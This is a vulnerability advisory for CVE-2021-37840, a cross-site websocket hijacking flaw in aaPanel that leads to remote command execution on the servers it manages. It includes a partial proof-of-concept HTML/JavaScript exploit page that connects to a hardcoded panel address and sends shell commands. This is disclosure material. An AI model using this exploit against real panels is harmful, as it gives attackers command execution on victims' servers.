SSD ADVISORY – AAPANEL CSWH TO RCE

August 2, 2021 SSD Secure Disclosure technical team
Vulnerability publication

TL;DR

Find out how a CSWH hijacking vulnerability in aaPanel allows remote attackers to cause an authenticated user to execute arbitrary commands inside aaPanel's managed servers.

Vulnerability Summary

aaPanel, a simple but powerful control panel, can manage the web server through web-based GUI(Graphical User Interface).

aaPanel provides "the one-click function such as one-click install LNMP/LAMP developing environment and software. Our main goal is helping users to save the time of deploying, thus users just focus on their own project that is fine".

If an unsuspecting victim visits an attacker site, while being logged on to aaPanel, an attacker can cause his browser to access aaPanel managed servers and run commands on them without his knowledge.

CVE

CVE-2021-37840

Credit

An independent security researcher has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

aaPanel LinuxStable 6.8.12

Vendor Response

We have reported the vulnerability in aaPanel's github repository and have not received any response.

Vulnerability Analysis

aaPanel allows web based SSH connection to be put in place, these SSH connections are communicated with via websockets. aaPanel has been found to not perform any origin validation when initialising a SSH connection from client to the server. Hence, it is possible to perform a cross-site websocket hijacking attack which can result in remote code execution (on the managed instance).

Requirements (to exploit)

1. Knowledge of the IP/FQDN of the aaPanel
2. Victim has to visit a malicious web site with Firefox (the vulnerability doesn't work with Chrome)
3. Victim has to have configured `Terminal` with at least one managed instance
4. Victim has to have been logged on to the aaPanel prior to have visited the malicious web site

Exploit

```
<!DOCTYPE html>
<meta charset="utf-8" />
<title>CSWH Hijacking exploit</title>
<script language="javascript" type="text/javascript">
//CHANGEME
var wsUri = "ws://128.199.150.218:8888/webssh"; //WS URL of the vulnerable app
var output;
//Auth check in https://github.com/aaPanel/aaPanel/blob/aacc0df179147bcd900dd753003e567ea1bc88ee/BTPanel/__init__.py#L233-L234
function init(){
  output = document.getElementById("output");
  testWebSocket();
}
```

```
}
function onOpen(evt){ //when the WS is connected, send a message the server
  writeToScreen("CONNECTED");
  doSend('{}');
  doSend("cat /etc/issue;whoami;ls -la\n");
}
function onClose(evt){
  writeToScreen("DISCONNECTED");
}
function onMessage(evt){ //when recieving a WS message, send it in POST to my server
  writeToScreen("RECIEVED : " + evt.data);
}
function onError(evt){
  writeToScreen('<span style="color: red;">ERROR:</span> ' + evt.data);
}
function doSend(message){ //function for sending messages via the WS
  writeToScreen("SENT : " + message);
  websocket.send(message);
}
function writeToScreen(message){ //function for showing errors and other info
  var pre = document.createElement("p");
  pre.style.wordWrap = "break-word";
  pre.innerHTML = message;
  output.appendChild(pre);
}
window.addEventListener("load", init, false);  //when loading the page, execute init()
// creating Websocket --> sending a message --> recieving the response and forward it to our server
</script>
<h2>WebSocket Exploit</h2>
<div id="output"></div>
```

Demo